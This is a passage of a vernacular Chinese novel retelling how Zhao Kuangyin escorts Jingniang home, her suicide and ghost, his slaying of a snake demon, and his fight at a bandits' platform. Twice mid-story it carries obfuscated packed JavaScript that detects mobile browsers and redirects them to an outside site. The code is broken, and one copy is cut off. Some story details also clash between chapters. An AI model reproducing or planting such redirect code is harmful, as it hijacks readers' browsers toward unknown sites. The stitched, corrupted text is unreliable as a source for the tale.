喽啰们又磕了个响头,爬起来连滚带爬地跑了。赵匡胤刚要收拾东西继续赶路,抬头一看,太阳早就落到西边山后头,月亮都从东边升起来了。远远望见前面有个挂着“悦来客栈”木牌的屋子,赶紧扶着京娘下马,一起进了店。 店家是个留着山羊胡的中年汉子,见他俩风尘仆仆的,赶紧迎上来:“两位客官是要住店吧?马交给我,我给喂最好的草料。”赵匡胤把马缰绳递过去,扶着京娘进了客房——房间不大,就一张桌子两张床,墙角还堆着两捆干柴。 等店家端来晚饭,一碟炒青菜、一碗糙米饭,还有块黑乎乎的腊肉,兄妹俩简单吃了点就各自歇下了。可京娘哪睡得着?躺在硬邦邦的床上,满脑子都是赵匡胤救她的模样:那天她被绑在山神庙里哭,是他踹开门冲进来,剑光一闪就杀了两个看守的贼人;路上遇到小毛贼,也是他挡在自己前面,一棍子一个把人打跑。 “这么大的恩情,我该怎么报啊?”京娘翻了个身,心里打起了主意,“当年红拂女不过是个歌女,还能主动找英雄托付终身,我受了这么大恩,要是错过了他,以后还能嫁给谁?可主动跟他说要嫁给他,也太害臊了……可他是个直性子,要是我不说,他哪知道我想报恩啊?” 就这么左思右想,天快亮了京娘都没合眼。鸡一叫,赵匡胤就起来收拾行李、牵马,京娘只好强打精神爬起来,心里却有了个主意:一路上故意说自己肚子疼,好几次要下马解手,赵匡胤每次都耐心扶她下来,又小心地扶她上马;她趁势往他身上靠了靠,能闻到他身上淡淡的汗味和烟火气,脸一下子就红了。到了晚上住店,她又故意说冷,让赵匡胤给她加被子,一会儿又说热,让他帮忙减被子——她就想试试,这软玉温香在跟前,他会不会动心。可赵匡胤半点没多想,只当她是赶路累着了,尽心尽力地照顾,连句抱怨都没有。 又走了三四天,过了曲沃地界。这一路上,赵匡胤又收拾了两伙拦路的毛贼——有次遇到三个拿着刀的汉子,拦在路中间要“买路钱”,赵匡胤连剑都没拔,抄起手里的棍子,三下五除二就把人打跑了,京娘在旁边看着,心里更是佩服。 算算路程,离蒲州只剩三百多里地了。这天晚上,他们住在一个荒村里的小客栈,就两间房,京娘住里间,赵匡胤住外间。京娘坐在桌边,看着桌上的油灯忽明忽暗,心里更急了:“再不说就晚了!等回了家,爹娘肯定要给我找婆家,到时候再想报恩就没机会了!”她越想越难受,忍不住叹了口气,眼泪“吧嗒吧嗒”掉在桌子上。 赵匡胤在外间听见动静,赶紧推门进来:“贤妹,这都半夜了,怎么还不睡?哭什么呢?出什么事了?” 京娘赶紧擦了擦眼泪,低着头小声说:“恩兄,我有句话想跟你说,可实在不好意思开口……” “咱们都拜过把子认了兄妹,有话直说,别客气!”赵匡胤拉了把椅子坐在她对面。 京娘咬了咬嘴唇,鼓起勇气说:“我从小在深宅大院里长大,从没出过远门,这次跟着爹去进香,没想到被贼人抓了。幸亏恩兄救了我,还千里迢迢送我回家,又帮我报了仇,这份恩我这辈子都忘不了。我想来想去,没什么能报答你的……要是恩兄不嫌弃我长得不好看,就让我跟着你,给你铺床叠被、洗衣做饭,哪怕只能报一点恩,我心里也踏实。恩兄,你愿意吗?” 赵匡胤一听,“噗嗤”一声笑了,随即又板起脸:“贤妹,你这话就错了!我跟你萍水相逢,救你、送你,不过是路见不平,想伸个正义,哪像那些坏人似的,救人是为了占便宜?再说咱们都姓赵,按规矩也不能结婚,咱们是兄妹,怎么能乱了辈分?这种话可别再说了,让人听见笑话。” 京娘的脸一下子红到了耳根,低着头半天没说话。过了好一会儿,她才抬起头,眼里含着泪:“恩兄别生气,我不是那种轻浮的女人……我就是觉得,我的命是你给的,除了我自己,我没什么能报答你的。我不敢跟你求娶,哪怕让我做你的丫鬟,伺候你一天,我死也甘心。” 赵匡胤一听,脸色“唰”地变了,一拍桌子站起来:“我还以为你是个懂道理的姑娘,没想到你会说这种话!我救你、送你,是因为我当你是妹妹,你怎么能这么想我?我赵匡胤是顶天立地的汉子,这辈子光明磊落,要是我有半点私心,天打雷劈!你要是再这么想,我现在就走,不管你了!到时候你一个人在这儿,可别怨我!” 京娘吓得赶紧站起来,对着赵匡胤深深鞠了一躬:“恩兄,我知道错了!今天我才知道,恩兄的心像太阳一样光明,像霜雪一样清正,谁都不能玷污。我真的不是有坏心思,就是想报恩……既然恩兄把我当亲妹妹,我以后也把恩兄当亲哥哥,再也不说这种糊涂话了,求恩兄原谅我。” 赵匡胤这才消了气,伸手把她扶起来:“贤妹,不是我死板,我本来就是为了义气才送你回家,要是现在跟你有私情,跟那些抢你的贼人有什么区别?以前的情义不就全没了?传出去,全天下的好汉都会笑话我!” 京娘点点头,眼里还是含着泪:“恩兄说得对,是我糊涂了。我这辈子报不了恩,下辈子做牛做马也要报答你。” 俩人就这么坐着说话,一直到天亮。这可真是:落花有意想跟着流水走,流水却没心思恋着落花。 从那以后,京娘对赵匡胤更恭敬了,赵匡胤也更心疼这个懂事的妹妹。又走了几天,终于到了蒲州。京娘知道家在小祥村,可好几年没回来,路都记不清了。赵匡胤只好牵着马,逢人就问“小祥村怎么走”,走了半个时辰,终于看到村口的老槐树——那是京娘小时候常爬的树。京娘看着熟悉的村子,眼泪又掉了下来:“终于到家了……” 再说京娘的爹赵员外,自从女儿丢了,已经两个多月了,老两口每天对着女儿的房间哭。这天晚上,赵员外做了个梦:梦见一条红色的龙护着京娘,从东边飞到家里。他高兴得赶紧去接女儿,刚把女儿拉进屋里,红龙“呼”地一下就飞走了,再回头一看,女儿又不见了!他急得到处找,不小心被门槛绊倒,“哎哟”一声醒了。 他赶紧推醒老伴:“老婆子,我梦见京娘了!还有条红龙护着她回来,可刚进门就不见了……” 老伴揉了揉眼睛,叹了口气:“你是想女儿想疯了,做个梦也当真?别想了,睡吧。” 赵员外心里更难受了,翻来覆去睡不着。第二天中午,庄里的老仆赵福急急忙忙跑进来:“员外!员外!小姐回来了!骑着马,后面跟着个红脸大汉,拿着根棍子,快到门口了!” 赵员外一听,吓得魂都快没了,大叫起来:“不好了!肯定是强盗追上门要嫁妆了!” 话还没说完,京娘就掀开门帘进了堂屋。老两口一看真是女儿,赶紧跑过去抱住她,哭得说不出话。哭了好一会儿,赵员外才擦了擦眼泪:“女儿,你怎么回来的?那红脸大汉是谁?” 京娘把赵匡胤救她、送她回家的事一五一十说了,又赶紧说:“爹,恩人就在外面,你快出去好好招待,他脾气急,你可别惹他生气。” 赵员外这才放下心,赶紧整理了一下衣服,跑到门口,对着赵匡胤就跪了下去:“恩人啊!要是没有你,我女儿肯定活不成了,我们老两口这辈子都见不到她了!”说着就要磕头。 赵匡胤赶紧把他扶起来:“员外别客气,我就是路见不平,举手之劳而已。” 这时候,京娘的娘和哥哥赵文正也跑出来了——赵文正本来在地里干活,听说妹妹回来了,扔了锄头就往家跑。他抱住京娘又哭了一场,然后对着赵匡胤拱手道谢:“多谢恩公救了我妹妹,大恩不言谢,以后恩公有什么事,尽管找我!” 这可真是:喜事从天上掉下来,恩情像从太阳边送来。 赵员外赶紧吩咐庄里的人杀猪宰羊,摆了一大桌酒席。京娘跟着娘进了里屋,娘拉着她的手,小声问:“女儿,娘有句话问你,你别害羞。” 京娘愣了愣:“娘,您说吧。” “自古男女授受不亲,他是个单身汉子,你是个未出嫁的姑娘,千里路上一起走,他就没对你动心?虽说他是个好汉,可你也到了该嫁人的年纪,难道不知道报恩吗?我看那赵公子长得一表人才,以后肯定有大出息,你在路上有没有跟他提过终身大事?你还没许人家,要是你愿意,娘跟你爹说,把他招上门做女婿,你看怎么样?” 京娘赶紧摇头:“娘,这事可千万别提!赵公子脾气跟烈火似的,人特别正直,他跟我认了兄妹,把我当亲妹妹看待,半点玩笑都没有。今天他能来家里,咱们好好招待他十天半个月,报答一下就行,招亲的事绝对不能说!” 京娘的娘把这话告诉了赵员外,赵员外却笑了:“老婆子,你别听女儿的,她这是害羞呢!人又不是草木,面对这么好的英雄,怎么会不动心?等会儿吃饭的时候,我跟他提,肯定能成!” 没一会儿,酒席就摆好了。赵员外请赵匡胤坐在上首,自己和老伴坐在下首,赵文正和京娘坐在旁边。酒过三巡,菜过五味,赵员外站起来,亲自给赵匡胤倒了杯酒,笑着说:“公子,你喝了这杯酒,老汉有句话想跟你说。” 赵匡胤接过酒杯,一口喝干,放下杯子:“员外有话尽管说,不用客气。” 赵员外赔着笑:“小女能活着回来,全靠公子你。我跟老伴商量了,没什么能报答你的。幸好小女还没许人家,我们想把她嫁给你,做你的妻子,还请公子别拒绝。” 话还没说完,赵匡胤“啪”地一拍桌子,气得脸都红了:“你这个老东西,真是不知好歹!我为了义气,千里迢迢送你女儿回家,你倒好,说这种不像话的话侮辱我!要是我贪图你女儿的美色,在路上早就跟她成亲了,还用等到现在?” 说着,他一脚把桌子踹翻,碗碟碎了一地,转身就往外走。赵员外吓得浑身发抖,赵文正和京娘的娘也不敢说话。京娘心里又急又愧,赶紧跑过去拉住赵匡胤的衣角:“恩兄,你别生气,看在我的面子上,坐下再说说,我给你赔罪!” 可赵匡胤正在气头上,一把甩开她的手,拎起自己的包袱,头也不回地出了大门——连马都忘了牵,就这么大步流星地走了。有诗为证: 为了义气走千里,英雄怎会贪私情? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519284|186248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 席上一句话不投机,转身就像龙飞一样快。 京娘看着赵匡胤的背影,“哇”地一声哭倒在地上。赵员外和老伴赶紧扶她起来,劝了半天,才把她扶进房间。京娘躺在床上,眼泪止不住地流:“都是我不好,要是我没跟恩兄说那些话,爹娘也不会提招亲,恩兄也不会生气走了……他救了我的命,我却让他受了委屈,我活着还有什么用?” 等到半夜,京娘听见爹娘都睡熟了,悄悄起来,解下腰里的白汗巾,在房梁上打了个结,踮起脚,把脖子伸了进去。这可真是: 可怜深闺里的千金小姐,转眼就成了一场梦。 第二天早上,赵员外和老伴起来,见京娘的房门还关着。赵员外说:“老婆子,女儿怎么还没起来?是不是赶路累着了?” 老伴说:“可能是吧,我去叫她。” 她推开门走进房间,屋里静悄悄的,她刚要喊“女儿”,头不小心撞到了什么东西——抬头一看,吓得“啊”地一声叫出来,腿一软就坐在了地上。赵员外听见叫声,赶紧跑进来,一看女儿吊在房梁上,当场就哭了。老两口抱着女儿的尸体,哭得死去活来。最后没办法,只好买了口棺材,把京娘装殓了,又请了和尚道士来做法事,希望她下辈子能投个好胎。这些事就先不说了。 再说赵匡胤,从赵员外家出来,越想越生气,一口气走了十多里地。等他冷静下来,才发现天已经黑了,前不着村后不着店,连个歇脚的地方都没有。正在发愁的时候,突然刮起一阵阴风,冷得他打了个哆嗦,四周一下子黑得伸手不见五指。他心里有点慌:“这地方怎么这么邪门?” 就在这时,他看见前面有个模糊的人影,骑着马,手里举着一盏红灯笼,慢慢往前走。赵匡胤心里一喜:“前面的朋友,等等我!能不能带我一起走?” 可那灯笼就像跟他开玩笑似的,他走快,灯笼也走快;他走慢,灯笼也走慢,怎么追都追不上。赵匡胤心里纳闷,又喊了一声:“前面的朋友,麻烦停一下!” 这次灯笼停住了,一个熟悉的声音传过来:“恩兄,是我。” 赵匡胤一愣:“你是……京娘?” “恩兄,我爹娘不懂事,让你受了委屈,我心里实在过意不去。我哭了一下午,晚上就上吊死了。不过多亏恩兄千里送我回家,我才能保住贞洁,这份恩我还没报。所以我特地来给你引路,送你一程。可惜阴阳两隔,我不能靠近你,只能远远地照着你,求恩兄别怪我。” 赵匡胤听了,心里又惊又痛:“贤妹,是我不好,我不该跟你爹娘发脾气,害你想不开……可你都死了,怎么还能骑马?” 京娘叹了口气:“恩兄,这马是你送给我的,我骑着它回家,见你走了,我又死了,它就围着我的棺材转,不吃不喝,最后也死了。现在它陪着我,一起送你。” 赵匡胤鼻子一酸,眼泪差点掉下来:“贤妹,你又贞洁又重情义,我以后要是有出息了,一定给你建个祠堂,让所有人都知道你的好。” 京娘连忙道谢。俩人就这么一边走一边说,天快亮的时候,京娘的声音越来越轻:“恩兄,天要亮了,我不能再送你了。以后咱们再也见不到了,你路上要小心。” 赵匡胤赶紧说:“贤妹,你……” 话还没说完,灯笼就灭了,人影也不见了。赵匡胤站在原地,心里又酸又涩,突然想起之前苗光义给他的柬帖上写着“空送佳人千里路”,现在看来,真是一点都没错。 他擦干眼泪继续走,没走多久,看见前面有座小山,山脚下有个破庙,庙里的树长得郁郁葱葱,可连点香火味都没有。他拉住一个路过的老农,问:“老丈,这庙里怎么这么冷清?” 老农赶紧摆手:“客官,你别问了,快走吧!这庙本来是村里的土地庙,可最近出了个妖怪,每天晚上出来害人,村里人都吓得搬走了,你可别进去!” 赵匡胤一听,哈哈大笑:“我这辈子走南闯北,什么妖魔鬼怪没见过?正好我走累了,就去庙里歇一天,看看这妖怪有多厉害!” 说着,他推开庙门走了进去。庙里到处是灰尘,神像倒在地上,墙角长着杂草。他找了块干净点的木板坐下,打开包袱,吃了点干粮,然后躺下就睡——这一路太累了,他一睡就睡到天黑。 醒来后,他往外看了看,太阳已经落山了,鸟儿都回巢了,四周连个客栈的影子都没有,只好又回到庙里,再吃了点干粮,然后解下腰里的鸾带,把它拧成一根棍子,握在手里坐着。他又想起京娘,忍不住叹了口气:“要是贤妹还在,现在应该跟爹娘团圆了……” 快到二更的时候,突然刮起一阵冷风,庙里的窗户“吱呀吱呀”响。赵匡胤一下子站起来,睁大眼睛往四周看——借着月光,他看见神座下面,盘着一条大蛇!那蛇的头有笆斗那么大,眼睛像两盏灯笼,嘴里还往外喷着黑气,闻着特别腥。 赵匡胤冷笑一声:“原来就是你这孽障在害人!今天我就替这地方除了害!” 他举起手里的棍子,大喝一声:“看打!”然后使劲朝着大蛇打过去。这一棍下去,可有好戏看了——这仙棍这么一挥舞,好几年的妖怪肯定活不成了;赵英雄这么一发力,多年的恶霸也得变成灰。这真是: 经历的事多了才能见到奇事,人要是太凶残肯定活不长。 到底那妖蛇有没有被打死呢?咱们下回再接着说。 20. 第 20 章 咱们接着说赵匡胤。前阵子他跟赵员外拌了嘴,一肚子火气出了门,走得太急竟错过了能住宿的地方,亏得京娘的阴灵提着灯给他引路,这才又走了一整夜。到后来实在撑不住,眼皮子都快黏在一起,正巧路边有座古庙,便进去歇了一整天。 等到夜里二更天,庙里头果然窜出条妖蛇来。赵匡胤当下握紧神煞棍棒,大喝一声就朝蛇头打去。那蛇也机灵,见棍棒劈来,猛地昂起头一蹿就躲过去了,跟着就朝赵匡胤扑过来——还好赵匡胤反应快,往旁边一闪,蛇扑了个空。他刚要举棍再打,那蛇突然盘起身子,尾巴像鞭子似的抽过来,虽没抽到人,却把赵匡胤的火气也勾上来了。蛇见一抽没中,也慌了神,又昂着斗大的脑袋直扑过来。赵匡胤趁机侧身一闪,手里的棍子顺着蛇身一搅,不偏不倚正打在蛇的七寸上!蛇疼得在地上扭了扭,眼看就剩半条命了。 夜里光线暗,赵匡胤怕蛇还没死透,又拿着棍子乱打了一阵,直到蛇彻底不动了才住手。他累得往板上一坐,打了个盹儿,再睁眼时,村头的鸡都叫第三遍了,太阳也刚冒头。赵匡胤低头一看那蛇,乖乖,身子粗得快赶上水桶,看得人头皮发麻。他一时兴起,就到庙壁上题了四句诗:“遍走关西数座州,妖蛇为害几春秋。神前棒落精神散,从此行人不用愁。”写完把棍棒缠回腰上,背上行囊出了庙,继续往前赶路。 走了约莫两个时辰,太阳晒得人暖洋洋的,赵匡胤正想找处树荫歇脚,就看见前面有座气派的大宅子。宅子门口坐着个老头,头发胡子都白了,却精神头十足,正往路上张望。那老头一看见赵匡胤,立马从凳子上站起来,脸上堆着笑拱手道:“这位君子,能不能留步?到我家喝杯茶歇会儿呗?”赵匡胤见老头客气,不好拒绝,就跟着进了大门。到厅堂放下包裹,互相见了礼坐下,丫鬟很快端上茶和果子,两人喝了几口,赵匡胤才开口问:“老丈,咱们素不相识,您今天叫住我,是有什么事吗?” 老头叹了口气,慢悠悠说道:“君子有所不知,我姓王,今年六十八了,家里还有点祖上传下来的庄子,这冻青庄的人都叫我‘王百万’。按理说日子过得不错,可我这辈子最遗憾的就是没儿子——后来我去庙里烧香许愿,求老天爷给我个儿子传宗接代,直到五十六岁那年,才算得了个儿子。本以为是天大的福气,能有人继承家业了,可谁知道这孩子命苦,如今都十三岁了,却是个哑巴,连一声‘爹’都没叫过。我这些年急得头发都白了,找了多少大夫都没用。” 说到这儿,老头眼睛亮了亮:“两个月前,有个叫苗光义的算命先生路过,我请他给孩子算算。那先生说的话怪得很,他说‘哑巴儿,哑巴儿,今日不开口,他年宰相做公侯’,还说今年今月今日今时,会有个红脸蛋的君子路过这儿,这人能治哑巴,保准让孩子开口说话。我就天天在门口等,没想到真等着您了!要是您能治好我儿子,我愿意把家产分您一半,绝不算话!” 赵匡胤听完心里犯嘀咕:这苗光义以前说的话倒都准,可治哑巴这事也太荒唐了吧?世上哪有能治哑巴的法子?更何况我连药方都不懂,这不是把难题往我身上推吗?可转念一想,要是说自己不会,又辜负了老头的一片诚心,不如先含糊应下来,等会儿哄过这阵,赶紧走了算了。 打定主意,赵匡胤就说:“治哑巴我倒是会,可能不能成,还得看孩子的造化——毕竟能不能说话是定数,勉强不来。您把孩子叫出来我看看,才能知道行不行。”旁边站着个穿青布衫的管家,忙应声说:“我家小相公正在书房‘读书’呢!”赵匡胤愣了:“既然是哑巴,怎么还能读书?”管家苦笑着解释:“别人读书是念出声,我家小相公是‘悟书’——整天抱着书看,可连一个字都念不出来,不过是应个名头罢了。” 王员外瞪了管家一眼:“多嘴!还不快去把小相公领出来,让这位君子看看!”管家赶紧应着去了。没一会儿,就领了个少年出来。那少年头戴束发包巾,齐眉的头发软软垂着,穿一件绣满寒梅的大红道服,里面的衬衣是鲜亮的松花绿,白色的护领绕着脖子,长得齿白唇红,脸像满月似的,眉毛清秀,鼻子挺得像悬着的玉胆,一看就是有福气的模样。 赵匡胤心里暗叹:这么好的孩子,偏偏是个哑巴,真是可惜了。他嘴上问道:“您儿子有名字吗?”王员外说:“学名叫王曾。”赵匡胤又说:“我这治法,全看诚心——诚心够了,立马就能说话;诚心不够,就得等三年。”王员外忙说:“我这心都快掏出来了,只要孩子能说话,我做什么都愿意!” 赵匡胤伸出手指着王曾,心里想着随便编几句糊弄过去,就念道:“王曾又王曾,聪明伶俐人。今日遇了我,说话赛铜铃。”他本就是随口说说,没指望真有用,可话音刚落,就见王曾“扑通”一声跪下来,声音清亮地说:“多谢先生指教,小子终于能说话了!”说完站起来,还对着赵匡胤嘻嘻笑了一声,蹦蹦跳跳地往后院去了。 赵匡胤当时就傻了——自己这随口一说,怎么还真灵了?他愣了半天都没反应过来。王员外更是激动得眼泪都快下来了,连忙上前给赵匡胤磕头:“多谢君子神术!您救了我儿子,我之前说分家产,说话算话!”赵匡胤赶紧扶起他:“老丈别这样,您儿子能说话,一是他本身有福气,二是您家世代积德,我可没这么大本事,不敢要您的家产。”说着想赶紧告辞,可王员外怎么肯放他走,一把拉住他,又请他坐下,还问起他的名字和住处。 赵匡胤说:“我是汴梁人,父亲叫赵弘殷,在朝中做都指挥。我叫赵匡胤,字元朗。”王员外一听,连忙作揖:“原来是赵公子!我刚才多有失礼,您可别见怪。您不愿要家产,那就在我家住些日子,让我好好尽尽心意,不然我心里过意不去。”赵匡胤实在不好拒绝,就答应住下来。 接下来的日子,王员外天天好酒好菜地招待他,还特意让管家王忠盯着,说要给赵匡胤做几套过冬的棉衣。王忠是跟着王员外几十年的老人,知道员外的心思,特意去镇上挑了最好的棉花和布料,还亲自给赵匡胤量尺寸,一边量一边说:“公子您放心,这布是镇上张记的好棉布,棉花是新收的,穿在身上暖和得很——我们员外说了,您要是不嫌弃,多住些日子也成。”赵匡胤看着王忠忙碌的样子,想起自己母亲以前给自己做衣服的情景,心里竟有点暖和。 可没几天,麻烦就来了。庄里的人听说王员外家来了个“能治哑巴的神仙”,都传开了。附近的村民不管远近,男女老少都往王员外家跑,把大门围得水泄不通,吵着要请“神仙”治病。赵匡胤没办法,只好出来说:“大家别闹,我这治法有规矩,一年只能治一个人。要是有缘,明年你们再来吧。” 这话一出口,人群立马炸了锅:“你就是嫌我们穷!王员外有钱,你就给他儿子治,我们穷人来就不管了?”有人说着就扔泥巴,还有人捡着砖头往院里扔。赵匡胤被闹得没辙,只好往里面跑,赶紧关了大门。他知道再待下去肯定更麻烦,就背着行李,让王忠悄悄领他从后门走了——连跟王员外告辞都没来得及。 走了大半天,赵匡胤来到一个叫桃花庄的地方,看见路边有个酒铺,就进去想喝杯酒歇歇。刚坐下,就见一个穿短打的汉子慌慌张张跑进来,“啪”地拍了下桌子:“打酒!不管热的冷的,快给我来一壶!喝完好去看打擂台!”店家赶紧端上酒,那汉子拿起酒壶就往嘴里倒。 赵匡胤一听“打擂台”,来了兴趣,问道:“这位兄弟,这擂台是谁设的?在什么地方?”汉子一边喝酒一边说:“就在这桃花庄西头,是桃花山上三个大王设的。”赵匡胤又问:“那三个大王叫什么?武功怎么样?”汉子放下酒壶,压低声音说:“这三个大王是亲兄弟,大哥叫宋金清,二哥叫宋金洪,三弟叫宋金辉,还有个妹妹叫宋金花,听说兄妹四个武功都厉害得很!他们在山上聚了一群人,占山为王,没人敢惹。这次设擂台,逢三、六、九就有人下山守台,台上还摆着金银当彩头——谁能打宋金清一拳,就给一锭金元宝;踢一脚,给一锭银元宝。可要是输了,就得给他们十倍的钱!这么久了,就没见有人赢过,今天正好是宋金清守台,我得赶紧去看看。”说完付了酒钱,急匆匆地走了。 赵匡胤心里的好胜心被勾了起来——他倒要看看,这宋金清到底有多厉害。他喝了一壶酒,付了钱,也往西头走去。没走多远,就看见前面围了里三层外三层的人,中间搭着一座高台,台上站着个穿黑袄的汉子,腰里系着宽腰带,正叉着腰喊:“你们这群人里,有敢上来跟我比的吗?赢了我,金银随便拿;要是怕输钱,就别上来丢人现眼!” 赵匡胤拨开人群,脚尖一点,“噌”地就跳上了台,大喝一声:“小子别狂!我来会会你!”宋金清被这声喝吓了一跳,眯着眼打量赵匡胤——见他红脸蛋,身材魁梧,心里也多了几分警惕,问道:“你这红脸汉子,是来跟我比武的?”赵匡胤说:“宋金清,我听说你武功厉害,特意带了十倍金银来会你!”说完放下包裹,脱了外袍,摆好架势。 宋金清一听他直呼自己名字,顿时火了:“你这红脸贼,敢叫我名字?”说着就朝赵匡胤的腿踢过去。赵匡胤往旁边一闪,趁宋金清收腿的间隙,反手就想打他后背,可宋金清反应也快,立马转身用“泰山压卵”的架势朝他扑过来。赵匡胤心里盘算:这人蛮力大,硬拼不行,得用巧劲。他故意脚下一滑,“扑通”一声躺在台上。宋金清以为他摔倒了,大喜过望,立马用“饿虎扑食”的招式来抓他。 就在宋金清扑过来的瞬间,赵匡胤突然用“喜鹊登枝”的招式,双脚对着宋金清的胸口狠狠一蹬——宋金清“哎哟”一声,重重摔在台上。赵匡胤赶紧跳起来,抓住宋金清的两条腿,使劲一扯,只听“咔嚓”一声,宋金清被撕成了两半,他随手就把尸体扔到了台下。 台下宋金清的徒弟和手下立马炸了锅,大喊:“别让那红脸贼跑了!给大哥报仇!”一群人举着刀枪围了上来,还有人往台上射箭。赵匡胤一看形势不对,没地方躲,只好扔下行李和外袍,从台上跳下来,赤手空拳打了条出路,往南边拼命跑。真是应了那句话:“撒手劈开生死路,翻身跳出是非门。” 赵匡胤跑了没多远,就听见后面的喊杀声越来越近,他心里着急:这么跑下去,迟早被追上。可就在这时候,突然刮起一阵黑雾,天昏地暗的,连石头和树都看不清了。那些追兵找不到路,也看不见赵匡胤,只好骂骂咧咧地回桃花山报信去了。 黑雾散了以后,赵匡胤才松了口气,继续往前跑。又走了约莫一个时辰,来到一座山脚下,刚要上山,突然刮起一阵大风,风里还带着虎啸声——紧接着,一只斑斓猛虎从树林里跳了出来,张着血盆大口,露着尖牙,尾巴甩得“啪啪”响,直朝他扑过来! 赵匡胤吓得赶紧往旁边躲,老虎扑了个空,转身又扑过来。他这时候已经没力气了——刚才打擂台、跑路,早就耗光了体力,腿都有点软。他往旁边一看,路边有棵大树,赶紧跑过去,抱住树干往上爬,坐在一根粗树枝上,才算暂时安全。可那老虎也邪门,见他爬树,竟也跳起来坐在树下,用嘴啃起树根来! 赵匡胤坐在树上,看着老虎一口口啃着树根,心里直发毛——树根都被啃掉一半了,树枝晃得越来越厉害,再这么下去,要么树断了摔死,要么掉下去被老虎吃了。他越想越怕,眼泪都快下来了,心里念叨:“京娘啊京娘,你要是在天有灵,就再帮我一次吧!”正念叨着,突然觉得头顶一阵发热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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昙云长老没理会徒弟的夸赞,对着树上喊道:“树上的君子,老虎已经走了,你下来吧!”赵匡胤刚才吓得闭着眼,连老虎走了都没察觉,直到听见长老的声音,才慢慢睁开眼——见老虎真的没了,下面还站着一群和尚,这才放心地从树上溜下来。 他走到昙云长老面前,仔细一看:长老双眉像雪一样白,两鬓也白了,脸膛像蟹壳似的,看着有点凶,可眼睛却像星星一样亮,戴着整齐的毗卢帽,披着红色的袈裟,看着既庄严又威风。赵匡胤连忙作揖:“多谢长老相救!我叫赵匡胤,是汴梁人,父亲赵弘殷是朝中的都指挥。我路过桃花庄,见宋金清设擂台欺负人,就上台杀了他,没想到他的手下追得紧,我跑到这儿又遇到老虎,多亏长老救了我。” 昙云长老一听“赵弘殷”三个字,眼睛亮了:“原来你是赵总兵的儿子!我跟你父亲当年在潼关一起抗过敌,算是老相识了。”他拉着赵匡胤的手,把他请进寺里,关上山门,带到禅堂坐下,又让人端上茶。 喝了口茶,昙云长老才叹了口气:“赵匡胤,你杀了宋金清,可是闯了大祸了。宋金清的两个弟弟宋金洪、宋金辉,还有他妹妹宋金花,个个都有本事——宋金洪能举千斤石,宋金辉善使双刀,宋金花更厉害,还会些妖法。他们手下有五千多人,还有不少徒弟。刚才那些人没追上你,肯定回山报信去了,用不了多久,他们就会来寺里找你报仇。” 赵匡胤一听,心里凉了半截——本以为躲到寺里就安全了,没想到昙云长老跟宋金清还有往来,难道是要把自己交出去?他心里盘算着:要是长老真要绑我,我拼了命也要打出去,可寺里这么多和尚,我打得过吗?不如先试试他的心思。 赵匡胤就说:“长老,既然宋金清是贵寺的施主,我今天落在您手里,也没想活着走。您把我绑起来送到桃花山,既能让他们报仇,也能显您的功德,您就别犹豫了。”昙云长老听完,哈哈大笑:“你这孩子,怎么把我想成那样了?宋金清给寺里捐钱,不过是怕我找他麻烦,我早就想除了这伙恶人,只是一直没机会。再说我跟你父亲有旧交,怎么可能害你?” 他顿了顿,又说:“我料定他们会来寺里搜人,不如咱们联手,把这伙山贼一网打尽,也给地方除个害。”赵匡胤还是有点怀疑:“长老您说的是真的?不是跟我开玩笑?”昙云长老拍着胸脯说:“出家人不打诳语!我这就跟你说我的计策——” 他凑到赵匡胤耳边,压低声音说:“我让慧能去山下联络附近的猎户,那些猎户早就被宋金清欺负惨了,肯定愿意来帮忙;再让慧明带着几个和尚,在寺门两边的树林里设埋伏,等宋金洪他们来了,先放他们进来,再把山门关上,断他们的退路;你力气大,到时候跟我一起对付宋金洪和宋金辉,至于宋金花的妖法,我早有准备,寺里有件能破妖法的法器,到时候定能制住她。” 赵匡胤听完,心里的石头终于落了地,连忙说:“全听长老安排!只要能除了这伙恶人,我万死不辞!”昙云长老点点头,立马叫来了慧能和慧明,让他们赶紧去办。慧能临走前,还特意跟赵匡胤说:“公子您放心,那些猎户都认识我,我去说肯定管用!” 这边几人忙着准备,那边桃花山上的宋金洪、宋金辉和宋金花,已经听说了宋金清的死讯。宋金辉气得把桌子都掀了:“那红脸贼敢杀我大哥,我一定要把他碎尸万段!”宋金花也咬着牙说:“二哥、三哥,咱们现在就去蛰龙寺,昙云那老和尚肯定藏了那贼子,要是他不交人,咱们就连他一起杀了!” 说着,兄妹三人就点了两千多手下,拿着刀枪往困龙山赶。他们哪里知道,昙云长老和赵匡胤早就布好了埋伏,就等着他们来呢。 到底昙云长老的计策能不能成功?赵匡胤和宋金洪兄妹的大战谁输谁赢?咱们下回再接着说。 21. 第 21 章 窗外的山风卷着落叶打在禅房的窗纸上,赵匡胤攥着腰间那柄砍缺了口的朴刀,指腹摩挲着刀刃上的血痕——早上在擂台劈死宋金虎的场景还在眼前晃,身后追来的喽啰虽被黑雾拦住,可这蛰龙寺终究不是长久藏身之地。他正心烦,昙云长老端着一碗热茶走进来,见他眉头紧锁,便把茶碗往桌上一放,声音沉缓:“公子莫怕,老衲绝非要害你,反是要帮你除了这桃花山的祸患,永绝后患。” 赵匡胤抬头看他,见长老僧袍上打着补丁,眼神却清亮坦荡,心里的戒备松了几分:“长老既有此意,不知有何妙计?” 